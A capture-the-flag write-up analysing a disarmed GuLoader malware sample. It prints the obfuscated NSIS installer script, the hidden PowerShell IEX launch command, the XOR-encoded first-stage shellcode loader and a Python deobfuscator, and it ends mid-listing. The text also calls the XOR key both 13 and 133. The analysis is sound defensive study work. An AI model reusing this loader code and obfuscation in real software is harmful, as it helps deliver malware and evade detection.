
The challenge
A malware was provided from a real DFIR case that occurred in January 2024. The final payloads were disarmed here, to allow the analysts to dissect the binary safely until they fully understand the execution chain of a reflective shellcode loader named GuLoader [which initially led to the delivery of Remcos RAT with an additional keylogger, but the original nasty shellcodes were replaced by benign ones to provide the most realistic challenge].
Solvers
Congratulations to the 4 teams who solved it!

Step 1 – Discarding the Nullsoft stub
The easy way
Observing the malware with Process Monitor permits to quickly spot the light on PowerShell execution [from the SysWOW64 directory, hence in 32 bits]:

So, the binary makes some magic but ultimately runs:
C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden "$Auscultative223=Get-Content 'C:\Users\FRoGito\AppData\Roaming\opslagsvrkerne\incorporative\lathis\Samariterkursussets\ Chemosurgical207\Stippled.leg';$Brontology=$Auscultative223.SubString(50386,3);.$Brontology($Auscultative223)"
The hard way
But let be more curious. The binary turns to be a Nullsoft Installer according to PEiD and PeStudio:


We can therefore extract the files as if it was a ZIP file, as long as the decompression tool supports the NSIS format [like with 7zip v15.05, since it was given up in v15.06]. It permits to reveal a [NSIS].nsi script somehow obfuscated, here with a few additional comments to clarify its internals:
; NSIS script (UTF-8) NSIS-3 Unicode BadCmd=11
; Install
Unicode true
SetCompressor /SOLID lzma
SetCompressorDictSize 8
; --------------------
; HEADER SIZE: 8380
; START HEADER SIZE: 300
; MAX STRING LENGTH: 1024
; STRING CHARS: 1867
OutFile [NSIS].exe
!include WinMessages.nsh
ShowInstDetails nevershow
LicenseBkColor FFFA34
; --------------------
; LANG TABLES: 1
; LANG STRINGS: 51
Name Name
BrandingText Ilderens
; LANG: 1033
LangString LSTR_0 1033 Ilderens
LangString LSTR_1 1033 "$(LSTR_2) Setup"
LangString LSTR_2 1033 Name
LangString LSTR_5 1033 "Can't write: "
LangString LSTR_8 1033 "Could not find symbol: "
LangString LSTR_9 1033 "Could not load: "
LangString LSTR_17 1033 "Error decompressing data! Corrupted installer?"
LangString LSTR_21 1033 "Extract: "
LangString LSTR_22 1033 "Extract: error writing to file "
LangString LSTR_24 1033 "No OLE for: "
LangString LSTR_25 1033 "Output folder: "
LangString LSTR_29 1033 "Skipped: "
LangString LSTR_30 1033 "Copy Details To Clipboard"
LangString LSTR_37 1033 "Registering: "
LangString LSTR_38 1033 "Error opening file for writing: $\r$\n$\r$\n$0$\r$\n$\r$\nClick Abort to stop the installation,$\r$\nRetry to try again, or$\r$\nIgnore to skip this file."
LangString LSTR_39 1033 Custom
LangString LSTR_40 1033 Cancel
LangString LSTR_41 1033 ": Installing"
LangString LSTR_44 1033 "< &Back"
LangString LSTR_45 1033 "&Next >"
LangString LSTR_46 1033 "Click Next to continue."
LangString LSTR_47 1033 ": Completed"
LangString LSTR_48 1033 &Close
; --------------------
; VARIABLES: 22
Var _0_
Var _1_
Var _2_
Var _3_
Var _4_
Var _5_
Var _6_
Var _7_
Var _8_
Var _9_
Var _10_
Var _11_
Var _12_
Var _13_
Var _14_
Var _15_
Var _16_
Var _17_
Var _18_
Var _19_
Var _20_
Var _21_
InstType $(LSTR_36) ;
InstType $(LSTR_39) ; Custom
InstallDir $APPDATA\opslagsvrkerne\incorporative\lathis ; Target directory
; install_directory_auto_append = lathis
; wininit = $WINDIR\wininit.ini
; --------------------
; PAGES: 2
; Page 0
Page instfiles ; Progress bar
CompletedText $(LSTR_43) ; Display "Completed" at the end
DetailsButtonText $(LSTR_42) ; Display the "Show details" button
/*
; Page 1
Page COMPLETED
*/
; --------------------
; SECTIONS: 1
; COMMANDS: 69
Function func_0 ; Strings manipulation function
StrCpy $_19_ $_21_ ; Initializes $_19_ with $_21_ which was never initialized; so $_19_ is empty
StrCpy $_18_ $_21_ ; Initializes $_18_ with the same unknown variable $_21_; so $_18_ is empty
IntOp $_18_ $_18_ + 30 ; Transforming $_18_ into a numeric value, which is therefore 0, incremented by 30
IfSilent label_4 label_4 ; We jump to the same label whether the installer is running in silent mode or not
label_4:
; label_4 is a parsing loop that reconstructs $_19_ with content extracted from $_17_ [at index 33, then by 4]
; Each time we pass through label_4:
; - $_18_ increases by 3, which advances the reading of $_17_ by 3
; - StrCpy $_20_ $_17_ 1 $_18_ extracts 1 character from $_17_ at the current position $_18_
; - It compares $_20_ with $_21_ (which is null since it was never initialized)
; - If it's not equal, $_18_ is increment by 1 before looping... Which means that the index was incremented by 4
IntOp $_18_ $_18_ + 3 ; Increments $_18_ by 3 (becomes 33 initially, then 37, 41, etc. Since we increment by 1 at the end of the loop)
StrCpy $_20_ $_17_ 1 $_18_ ; Copies 1 character from $_17_ at position $_18_ (i.e., positions 33, 37, 41, etc.) to $_20_
StrCmp $_20_ $_21_ label_14 ; Compare $_20_ with $_21_ and jump to label 14 if equal (otherwise continue)
Push $_19_$_20_ ; Concatenates $_19_ (NULL) with $_20_ (which contains a char from the payload) on the stack
Pop $_19_ ; Pops the junk char from the stack (to let only the payload char)
IntOp $_18_ $_18_ + 1 ; Incrémente $_18_ (qui devient 34 au premier run)
IfFileExists $PROGRAMFILES\Omstruktureredes243.Tri label_11 label_11 ; Always continue
label_11:
Goto label_12
label_12:
Goto label_4 ; Loop until StrCmp $_20_ $_21_ becomes true [i.e. no more chars to read in $_17_]
IfSilent label_14 label_14
label_14: ; Landing here at the end of the loop
RegDLL $DOCUMENTS\panhellenist.dll ; DLL registration [removed for the chall]
Push $_19_
FunctionEnd
Section ; Section_0
; AddSize 714
SetOutPath $INSTDIR
IfFileExists $INSTDIR\jackass.Pri label_32 label_20 ; JMP to label32 if the file exists, otherwise to label 20
FileSeek $_1_ 26725 END ; Never executed
label_20: ; Jumping here during 1st run since $INSTDIR\jackass.Pri does not exist... To extract all files
File jackass.Pri ; Extraction of shellcodes file
SetOutPath $INSTDIR\Samariterkursussets\Chemosurgical207
File Stippled.leg ; Extraction of the main PowerShell dropper
File Sammenfldningernes7.fha ; Extraction of other decoy files
File Scutelliform.ene
SetOutPath $INSTDIR
File eksportforretnings.txt
File fleksivs.del
File jetstrmmes.spi
File ligegodt.wis
File spheniscine.hld
File vovsens.bul
label_32: ; In the next runs, we jump directly here since jackass.Pri exists..
StrCpy $5 Leg$\" ; Initializes variable $5 with "Leg$\""
FileReadByte $_3_ $_4_ ; Reads $_3_ (uninitialized) and stores the null byte read to $_4_ [never used]
StrCpy $8 $INSTDIR\Samariterkursussets\Chemosurgical207\Stippled.leg ; Sets $8 to the PowerShell's dropper path
StrCpy $2 "Ast$$tunBDisrUdeoenknMbetAccoShalMoroAnkgStryWag=Alk$$udvAYauuComsBefc TruStelObntNetaRestWapiVilv Une Un2Stv2Fol3 hu. NiSHakuJacbPosS SotOmfr HjiplenPungSti(Reg5Mon0The3 Lo8Kon6Sla,Ger3Fun)" ; 1st obfuscated string processed by func_0 for extraction ; Calls the function that deconstructs and reconstructs an obfuscated string
StrCpy $_17_ "Laked Steganopodous Departemen$5Sim$$GauAHyluSubsBaccDisuBetl AfttraaMagtPhyi DevTileAut2Rhe2Ski3 Su=ondGBeneHjotMar-zygCHomoUnsnRant MaeAfsnSmatFor Ins'"
Call func_0 ; Calls the function to deobfuscate the 1st string
Pop $6
WriteRegDWORD HKCU Software\Microsoft\Windows\Collectivizes\Uninstall\udgangsforbudenes borgerkortet 0
StrCpy $_17_ "Zoochores Reduktions KontormedLat'glo;$2Gua;Bro.Log$$AarB orrWisoigln HytRodoSkrltheoRntgKaryUnc(Bem$$AalA TjuFresAbscAnau KvlVartDrgacolt KuiDilv SteBli2Eng2 Po3Ene)$5" ; Second obfuscated string
Call func_0 ; Calls again the function to deobfuscate the 2nd string
Pop $3
StrCpy $_17_ "Ufornuftige Palatognathous Pro$5Anap MaoOrewAageSpirPamsSiahMore Anl AmlAra. Pee Frx Fae$5Led Rab-Answ Loi Tnntetd RooIntwMeesArmtAphy Vel Lieliz MeshIsai Cud UddFooeVern" ; Third obfuscated string
Call func_0 ; Calls again the function to deobfuscate the 3rd string
Pop $_17_
nsExec::ExecToLog "$_17_ $6$8$3" // nsExec::Exec '"$TEMP\Samariterkursussets\Chemosurgical207\Stippled.leg"'
; Call Initialize_____Plugins
; SetOverwrite off
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "$_17_ $6$8$3"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToLog
Pop $0
IntCmp $_0_ 12138 label_53 label_53 label_53 ; Compares $_0_ to 12138, but jump to label53 in all cases
label_53:
ReadRegStr $_2_ HKLM Software\anskrigenes Konstruktiv71
SectionEnd
/*
Function Initialize_____Plugins
SetDetailsPrint none
StrCmp $PLUGINSDIR "" 0 label_65
Push $0
SetErrors
GetTempFileName $0
Delete $0
CreateDirectory $0 ; !!!! Unknown Params: $0 "" ProgramFilesDir ; 1310 0 1
IfErrors label_66
StrCpy $PLUGINSDIR $0
Pop $0
label_65:
Return
label_66:
MessageBox MB_OK|MB_ICONSTOP "Error! Can't initialize plug-ins directory. Please try again later." /SD IDOK
Quit
FunctionEnd
*/
; --------------------
; UNREFERENCED STRINGS:
/*
17 CommonFilesDir
49 $PROGRAMFILES
52 "$PROGRAMFILES\Common Files"
68 $COMMONFILES
*/
Another way to understand this obfuscated NSIS script was to add some nsExec::Exec
or DetailPrint
directives to print the variables and see what they do at runtime after building the archive again with NSIS:


So, at the end the function func_0
progressively extracts the payload from the variable $_17_
and places it char by char on the stack so that results can be popped out into a few variables that are then rearranged to create this command [with the characters "IEX"
being extracted to $Brontology
to execute the PowerShell script in the Stippled.leg
file]:
"powershell.exe" -windowstyle hidden "$Auscultative223=Get-Content 'C:\Users\FRoGito\AppData\Roaming\opsl agsvrkerne\incorporative\lathis\Samariterkursussets\Chemosurgical207\Stippled.leg';$Brontology=$Auscultative223.SubString(50386,3);.$Brontology($Auscultative223)"
Step 2 – Analysis the first stage script
So let’s have a look to this this disguisedStippled.leg
PowerShell script dropped by the installer:

After some formatting and a quick analysis, the scrambled variable called $Adjunkterne
appears to hold the interesting part [between some random strings to avoid easy signature-based detection]:
function Conglomerate8 ($Dengues,$Vrdig)
{
& $Sialagogic750 (Conglomerate9 'Natio$ QuinDBerghePlayan DaghgSrmrkuAmphieForplsGnawi Norwi-BonsebRevsexGearsoSeraprDecib Tamma$DechlVDesigrOvercdHnsesi skangSidse ');
}
# Conglomerate9 deobfuscates the code from the script
# It receives a string as argument...
# And extracts chars from it, starting at index 5, then jumping 6th char further, and so on...
Function Conglomerate9 ([String]$Herbaceously124)
{
$Continuum=$Herbaceously124.ToCharArray();
For($Sane=5; $Sane -lt $Continuum.count-1; $Sane+=(6))
{
$Mutarotation+=$Continuum[$Sane];
}
$Mutarotation;
}
$Sialagogic750 = Conglomerate9 'TvistIArgyrESubprX Henr ';
$Sialagogic751= Conglomerate9 $Adjunkterne;
&($Sialagogic750) $Sialagogic751
So, after self-deobfuscation at runtime we have:
- $Sialagogic750 = “IEX”
- A call to Conglomerate8() will run “IEX($Dengues -bxor $Vrdig)” [probably an XOR to decrypt a payload somewhere]
- And the initial payload executed is “IEX $Sialagogic751”
The$Sialagogic751
that gets run withIEX
contains the following code that defines the Mutarotation04
function needed to deobfuscate many additional strings:
;
Function Mutarotation04 ([String]$Herbaceously124, $Milieustttelovs = 0)
{
$Frumentum = New-Object byte[] ($Herbaceously124.Length / 2);
For($Sane=0; $Sane -lt $Herbaceously124.Length; $Sane+=2)
{ $Frumentum[$Sane/2] = [convert]::ToByte($Herbaceously124.Substring($Sane, 2), 16);
$Frumentum[$Sane/2] = Conglomerate8 $Frumentum[$Sane/2] 133;
}
$Garvningens=[String][System.Text.Encoding]::ASCII.GetString($Frumentum);
if ($Milieustttelovs)
{
. ($Sialagogic750) $Garvningens;
}
else
{
; $Garvningens;
}
}
$Alvorlig0=Mutarotation04 'D6FCF6F1E0E8ABE1E9E9';
$Alvorlig1=Mutarotation04 'C8ECE6F7EAF6EAE3F1ABD2ECEBB6B7ABD0EBF6E4E3E0CBE4F1ECF3E0C8E0F1EDEAE1F6';
$Alvorlig2=Mutarotation04 'C2E0F1D5F7EAE6C4E1E1F7E0F6F6';
$Alvorlig3=Mutarotation04 'D6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABCDE4EBE1E9E0D7E0E3';
$Alvorlig4=Mutarotation04 'F6F1F7ECEBE2';
$Alvorlig5=Mutarotation04 'C2E0F1C8EAE1F0E9E0CDE4EBE1E9E0';
$Alvorlig6=Mutarotation04 'D7D1D6F5E0E6ECE4E9CBE4E8E0A9A5CDECE1E0C7FCD6ECE2A9A5D5F0E7E9ECE6';
$Alvorlig7=Mutarotation04 'D7F0EBF1ECE8E0A9A5C8E4EBE4E2E0E1';
$Alvorlig8=Mutarotation04 'D7E0E3E9E0E6F1E0E1C1E0E9E0E2E4F1E0';
$Alvorlig9=Mutarotation04 'CCEBC8E0E8EAF7FCC8EAE1F0E9E0';
$Virkers0=Mutarotation04 'C8FCC1E0E9E0E2E4F1E0D1FCF5E0';
$Virkers1=Mutarotation04 'C6E9E4F6F6A9A5D5F0E7E9ECE6A9A5D6E0E4E9E0E1A9A5C4EBF6ECC6E9E4F6F6A9A5C4F0F1EAC6E9E4F6F6';
$Virkers2=Mutarotation04 'CCEBF3EAEEE0';
$Virkers3=Mutarotation04 'D5F0E7E9ECE6A9A5CDECE1E0C7FCD6ECE2A9A5CBE0F2D6E9EAF1A9A5D3ECF7F1F0E4E9';
$Virkers4=Mutarotation04 'D3ECF7F1F0E4E9C4E9E9EAE6';
$Virkers5=Mutarotation04 'EBF1E1E9E9';
$Virkers6=Mutarotation04 'CBF1D5F7EAF1E0E6F1D3ECF7F1F0E4E9C8E0E8EAF7FC';
$Virkers8=Mutarotation04 'D9';
$Vrdiganedrifters=Mutarotation04 'D0D6C0D7B6B7';
$Resonans=Mutarotation04 'C6E4E9E9D2ECEBE1EAF2D5F7EAE6C4';
$Denguesudifons = Mutarotation04 'EEE0F7EBE0E9B6B7';
$Mellemvrenderne = Mutarotation04 'F0F6E0F7B6B7';
$Mutarotation03 = Mutarotation04 'C2E0F1C6EAEBF6EAE9E0D2ECEBE1EAF2';
$Mutarotation00=Mutarotation04 'D6EDEAF2D2ECEBE1EAF2';
$Merkantilisering= "$env:temp\Nonresolvable.exe";
Mutarotation04 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B7B7A5B8A5ADC2E0F1A8D2E8ECCAE7EFE0E6F1A5D2ECEBB6B7DAD5F7EAE6E0F6F6A5F9A5D2EDE0F7E0A8CAE7EFE0E6F1A5FEA5A1D5CCC1A5A8E6EAEBF1E4ECEBF6A5A1DAABD5F7EAE6E0F6F6CCC1A5F8ACABD5E4F7E0EBF1D5F7EAE6E0F6F6CCC1' 1;
Mutarotation04 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B7B6A5B8A5C2E0F1A8D5F7EAE6E0F6F6A5A8CCE1A5A1D6ECF1F7E0EBE1E0B7B7A5A8C3ECE9E0D3E0F7F6ECEAEBCCEBE3EAA5F9A5D6E0E9E0E6F1A5A8C0FDF5E4EBE1D5F7EAF5E0F7F1FCA5C3ECE9E0CBE4E8E0' 1;
Mutarotation04 'D6F1EAF5A8D5F7EAE6E0F6F6A5A8CCC1A5A1D6ECF1F7E0EBE1E0B7B7A5A8C3EAF7E6E0' 1;
Mutarotation04 'C6EAF5FCA8CCF1E0E8A5A1D6ECF1F7E0EBE1E0B7B6A5A8C1E0F6F1ECEBE4F1ECEAEBA5A1C8E0F7EEE4EBF1ECE9ECF6E0F7ECEBE2A5A8D7E0E6F0F7F6E0A5A8C3EAF7E6E0' 1;
function Sitrende01 ($Denguesncestry, $Prdikatnavnet) {Mutarotation04 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B5BDA5B8A5ADDEC4F5F5C1EAE8E4ECEBD8BFBFC6F0F7F7E0EBF1C1EAE8E4ECEBABC2E0F1C4F6F6E0E8E7E9ECE0F6ADACA5F9A5D2EDE0F7E0A8CAE7EFE0E6F1A5FEA5A1DAABC2E9EAE7E4E9C4F6F6E0E8E7E9FCC6E4E6EDE0A5A8C4EBE1A5A1DAABC9EAE6E4F1ECEAEBABD6F5E9ECF1ADA1D3ECF7EEE0F7F6BDACDEA8B4D8ABC0F4F0E4E9F6ADA1C4E9F3EAF7E9ECE2B5ACA5F8ACABC2E0F1D1FCF5E0ADA1C4E9F3EAF7E9ECE2B4AC' 1;
Mutarotation04 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B4B5A5B8A5A1D6ECF1F7E0EBE1E0B5BDABC2E0F1C8E0F1EDEAE1ADA1C4E9F3EAF7E9ECE2B7A9A5DED1FCF5E0DED8D8A5C5ADA1C4E9F3EAF7E9ECE2B6A9A5A1C4E9F3EAF7E9ECE2B1ACAC' 1;
Mutarotation04 'F7E0F1F0F7EBA5A1D6ECF1F7E0EBE1E0B4B5ABCCEBF3EAEEE0ADA1EBF0E9E9A9A5C5ADDED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABCDE4EBE1E9E0D7E0E3D8ADCBE0F2A8CAE7EFE0E6F1A5D6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABCDE4EBE1E9E0D7E0E3ADADCBE0F2A8CAE7EFE0E6F1A5CCEBF1D5F1F7ACA9A5ADA1D6ECF1F7E0EBE1E0B5BDABC2E0F1C8E0F1EDEAE1ADA1C4E9F3EAF7E9ECE2B0ACACABCCEBF3EAEEE0ADA1EBF0E9E9A9A5C5ADA1C1E0EBE2F0E0F6EBE6E0F6F1F7FCACACACACA9A5A1D5F7E1ECEEE4F1EBE4F3EBE0F1ACAC' 1;
}function Sitrende00 ([Parameter(Position = 0)] [Type[]] $Hipponous,[Parameter(Position = 1)] [Type] $Denguesruspice = [Void]) {Mutarotation04 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B4B0A5B8A5DEC4F5F5C1EAE8E4ECEBD8BFBFC6F0F7F7E0EBF1C1EAE8E4ECEBABC1E0E3ECEBE0C1FCEBE4E8ECE6C4F6F6E0E8E7E9FCADADCBE0F2A8CAE7EFE0E6F1A5D6FCF6F1E0E8ABD7E0E3E9E0E6F1ECEAEBABC4F6F6E0E8E7E9FCCBE4E8E0ADA1C4E9F3EAF7E9ECE2BDACACA9A5DED6FCF6F1E0E8ABD7E0E3E9E0E6F1ECEAEBABC0E8ECF1ABC4F6F6E0E8E7E9FCC7F0ECE9E1E0F7C4E6E6E0F6F6D8BFBFD7F0EBACABC1E0E3ECEBE0C1FCEBE4E8ECE6C8EAE1F0E9E0ADA1C4E9F3EAF7E9ECE2BCA9A5A1E3E4E9F6E0ACABC1E0E3ECEBE0D1FCF5E0ADA1D3ECF7EEE0F7F6B5A9A5A1D3ECF7EEE0F7F6B4A9A5DED6FCF6F1E0E8ABC8F0E9F1ECE6E4F6F1C1E0E9E0E2E4F1E0D8AC' 1;
Mutarotation04 'A1D6ECF1F7E0EBE1E0B4B0ABC1E0E3ECEBE0C6EAEBF6F1F7F0E6F1EAF7ADA1C4E9F3EAF7E9ECE2B3A9A5DED6FCF6F1E0E8ABD7E0E3E9E0E6F1ECEAEBABC6E4E9E9ECEBE2C6EAEBF3E0EBF1ECEAEBF6D8BFBFD6F1E4EBE1E4F7E1A9A5A1CDECF5F5EAEBEAF0F6ACABD6E0F1CCE8F5E9E0E8E0EBF1E4F1ECEAEBC3E9E4E2F6ADA1C4E9F3EAF7E9ECE2B2AC' 1;
Mutarotation04 'A1D6ECF1F7E0EBE1E0B4B0ABC1E0E3ECEBE0C8E0F1EDEAE1ADA1D3ECF7EEE0F7F6B7A9A5A1D3ECF7EEE0F7F6B6A9A5A1C1E0EBE2F0E0F6F7F0F6F5ECE6E0A9A5A1CDECF5F5EAEBEAF0F6ACABD6E0F1CCE8F5E9E0E8E0EBF1E4F1ECEAEBC3E9E4E2F6ADA1C4E9F3EAF7E9ECE2B2AC' 1;
Mutarotation04 'F7E0F1F0F7EBA5A1D6ECF1F7E0EBE1E0B4B0ABC6F7E0E4F1E0D1FCF5E0ADAC' 1;
;
}Mutarotation04 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B4B3A5B8A5DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC2E0F1C1E0E9E0E2E4F1E0C3EAF7C3F0EBE6F1ECEAEBD5EAECEBF1E0F7ADADD6ECF1F7E0EBE1E0B5B4A5A1C1E0EBE2F0E0F6F0E1ECE3EAEBF6A5A1D3ECF7EEE0F7F6B1ACA9A5ADD6ECF1F7E0EBE1E0B5B5A5C5ADDECCEBF1D5F1F7D8A9A5DED0CCEBF1B6B7D8A9A5DED0CCEBF1B6B7D8A9A5DED0CCEBF1B6B7D8ACA5ADDECCEBF1D5F1F7D8ACACAC' 1;
Mutarotation04 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B4B2A5B8A5DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC2E0F1C1E0E9E0E2E4F1E0C3EAF7C3F0EBE6F1ECEAEBD5EAECEBF1E0F7ADADD6ECF1F7E0EBE1E0B5B4A5A1C8E0E9E9E0E8F3F7E0EBE1E0F7EBE0A5A1C8F0F1E4F7EAF1E4F1ECEAEBB5B5ACA9A5ADD6ECF1F7E0EBE1E0B5B5A5C5ADDECCEBF1D5F1F7D8A9A5DED0CCEBF1B6B7D8ACA5ADDECCEBF1D5F1F7D8ACACAC' 1;
Mutarotation04 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B4BDA5B8A5DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC2E0F1C1E0E9E0E2E4F1E0C3EAF7C3F0EBE6F1ECEAEBD5EAECEBF1E0F7ADADD6ECF1F7E0EBE1E0B5B4A5A1C1E0EBE2F0E0F6F0E1ECE3EAEBF6A5A1C8F0F1E4F7EAF1E4F1ECEAEBB5B6ACA9A5ADD6ECF1F7E0EBE1E0B5B5A5C5ADDECCEBF1D5F1F7D8ACA5ADDECCEBF1D5F1F7D8ACACAC' 1;
Mutarotation04 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B4BCA5B8A5A1D6ECF1F7E0EBE1E0B4BDABCCEBF3EAEEE0ADB5AC' 1;
Mutarotation04 'A1D6ECF1F7E0EBE1E0B4B2ABCCEBF3EAEEE0ADA1D6ECF1F7E0EBE1E0B4BCA9A5B5AC' 1;
$Digenea = Sitrende01 $Virkers5 $Virkers6;
Mutarotation04 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B6A5B8A5A1D6ECF1F7E0EBE1E0B4B3ABCCEBF3EAEEE0ADDECCEBF1D5F1F7D8BFBFDFE0F7EAA9A5B4B0B7B4B6A9A5B5FDB6B5B5B5A9A5B5FDB1B5AC' 1;
Mutarotation04 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B7B5A5B8A5A1D6ECF1F7E0EBE1E0B4B3ABCCEBF3EAEEE0ADDECCEBF1D5F1F7D8BFBFDFE0F7EAA9A5BCBDBDB2B6B6B1B1A9A5B5FDB6B5B5B5A9A5B5FDB1AC' 1;
$Sitrende2="$env:APPDATA\opslagsvrkerne\incorporative\lathis\jackass.Pri";
Mutarotation04 'A1E2E9EAE7E4E9BFC1ECF1E6EDE0F6A5B8A5DED6FCF6F1E0E8ABCCCAABC3ECE9E0D8BFBFD7E0E4E1C4E9E9C7FCF1E0F6ADA1D6ECF1F7E0EBE1E0B7AC' 1;
Mutarotation04 'DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC6EAF5FCADA1C1ECF1E6EDE0F6A9A5B6B1B6B4A9A5A5A1D6ECF1F7E0EBE1E0B6A9A5B4B0B7B4B6AC' 1;
$Rappellvqr=$Ditches.count-15213-3431;
Mutarotation04 'DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC6EAF5FCADA1C1ECF1E6EDE0F6A9A5B4B0B7B4B6AEB6B1B6B4A9A5A1D6ECF1F7E0EBE1E0B7B5A9A5A1D7E4F5F5E0E9E9F3F4F7AC' 1;
Mutarotation04 'A1E2E9EAE7E4E9BFD6ECF1F7E0EBE1E0B7B4A5B8A5DED6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABC8E4F7F6EDE4E9D8BFBFC2E0F1C1E0E9E0E2E4F1E0C3EAF7C3F0EBE6F1ECEAEBD5EAECEBF1E0F7ADADD6ECF1F7E0EBE1E0B5B4A5A1D3F7E1ECE2E4EBE0E1F7ECE3F1E0F7F6A5A1D7E0F6EAEBE4EBF6ACA9A5ADD6ECF1F7E0EBE1E0B5B5A5C5ADDECCEBF1D5F1F7D8A9A5DECCEBF1D5F1F7D8A9A5DECCEBF1D5F1F7D8A9A5DECCEBF1D5F1F7D8A9A5DECCEBF1D5F1F7D8ACA5ADDECCEBF1D5F1F7D8ACACAC' 1;
Mutarotation04 'A1D6ECF1F7E0EBE1E0B7B4ABCCEBF3EAEEE0ADA1D6ECF1F7E0EBE1E0B6A9A1D6ECF1F7E0EBE1E0B7B5A9A1C1ECE2E0EBE0E4A9B5A9B5AC' 1 #
Step 3 – Analysis the second stage script
The payload is therefore split into multiple obscure strings that are deobfuscated by theMutarotation04()
function at runtime, which basically:
- Stores them in a byte array then calls the
Conglomerate8
function on each byte to unXOR it with the decimal value 13 - The deobfuscated byte array is returned by the function if the second argument is false [which is the default]
- If so, the
IEX
function is used to execute the byte array
This function therefore decodes all the variables required to execute the payload. To deobfuscate the hexadecimal strings, we should XOR them with 13 and converts the output to ASCII. So, let’s confirm this on CyberChef through this basic recipe:

Cool, we are right! So let’s continue with CyberChef or write a quick Python script which will rebuild the stage 2 for us:
import re
def Mutarotation04(cipher):
xor_value = 133
Frumentum = bytearray(len(cipher) // 2)
for Sane in range(0, len(cipher), 2):
Hilse = cipher[Sane:Sane+2]
byte_value = int(Hilse, 16) # Convert hex to int
xored_value = byte_value ^ xor_value # unXOR with key 133
Frumentum[Sane//2] = xored_value
try:
return Frumentum.decode('utf-8') # Return the desofuscated string
except UnicodeDecodeError as e:
print(f"UTF-8 error: {e}")
return Frumentum.hex() # Or return the hex in case of problem
# Capturing all values between quotes after the string "Mutarotation04"
regex_mutarotation = rf"(Mutarotation04\s*)'([^']*)'"
# Obfuscated code to parse
code = r"""
;
Function Mutarotation04 ([String]$Herbaceously124, $Milieustttelovs = 0)
{
$Frumentum = New-Object byte[] ($Herbaceously124.Length / 2);
For($Sane=0; $Sane -lt $Herbaceously124.Length; $Sane+=2)
{ $Frumentum[$Sane/2] = [convert]::ToByte($Herbaceously124.Substring($Sane, 2), 16);
$Frumentum[$Sane/2] = Conglomerate8 $Frumentum[$Sane/2] 133;
}
$Garvningens=[String][System.Text.Encoding]::ASCII.GetString($Frumentum);
if ($Milieustttelovs)
{
. ($Sialagogic750) $Garvningens;
}
else
{
; $Garvningens;
}
}
$Alvorlig0=Mutarotation04 'D6FCF6F1E0E8ABE1E9E9';
$Alvorlig1=Mutarotation04 'C8ECE6F7EAF6EAE3F1ABD2ECEBB6B7ABD0EBF6E4E3E0CBE4F1ECF3E0C8E0F1EDEAE1F6';
$Alvorlig2=Mutarotation04 'C2E0F1D5F7EAE6C4E1E1F7E0F6F6';
$Alvorlig3=Mutarotation04 'D6FCF6F1E0E8ABD7F0EBF1ECE8E0ABCCEBF1E0F7EAF5D6E0F7F3ECE6E0F6ABCDE4EBE1E9E0D7E0E3';
$Alvorlig4=Mutarotation04 'F6F1F7ECEBE2';
$Alvorlig5=Mutarotation04 'C2E0F1C8EAE1F0E9E0CDE4EBE1E9E0';
$Alvorlig6=Mutarotation04 'D7D1D6F5E0E6ECE4E9CBE4E8E0A9A5CDECE1E0C7FCD6ECE2A9A5D5F0E7E9ECE6';
$Alvorlig7=Mutarotation04 'D7F0EBF1ECE8E0A9A5C8E4EBE4E2E0E1';
$Alvorlig8=Mutarotation04 'D7E0E3E9E0E6F1E0E1C1E0E9E0E2E4F1E0';
$Alvorlig9=Mutarotation04 'CCEBC8E0E8EAF7FCC8EAE1F0E9E0';
$Virkers0=Mutarotation04 'C8FCC1E0E9E0E2E4F1E0D1FCF5E0';
$Virkers1=Mutarotation04 'C6E9E4F6F6A9A5D5F0E7E9ECE6A9A5D6E0E4E9E0E1A9A5C4EBF6ECC6E9E4F6F6A9A5C4F0F1EAC6E9E4F6F6';
$Virkers2=Mutarotation04 'CCEBF3EAEEE0';
$Virkers3=Mutarotation04 'D5F0E7E9ECE6A9A5CDECE1E0C7FCD6ECE2A9A5CBE0F2D6E9EAF1A9A5D3ECF7F1F0E4E9';
$Virkers4=Mutarotation04 'D3ECF7F1F0E4E9C4E9E9EAE6';
$Virkers5=Mutarotation04 'EBF1E1E9E9';
$Virkers6=Mutarotation04 'CBF1D5F7EAF1E0E6F1D3ECF7F1F0E4E9C8E0E8EAF7FC';
$Virkers8=Mutarotation04 'D9';
$Vrdiganedrifters=Mutarotation04 'D0D6C0D7B6B7';
$Resonans=Mutarotation04 'C6E4E9E9D2ECEBE1EAF2D5F7EAE6C4';
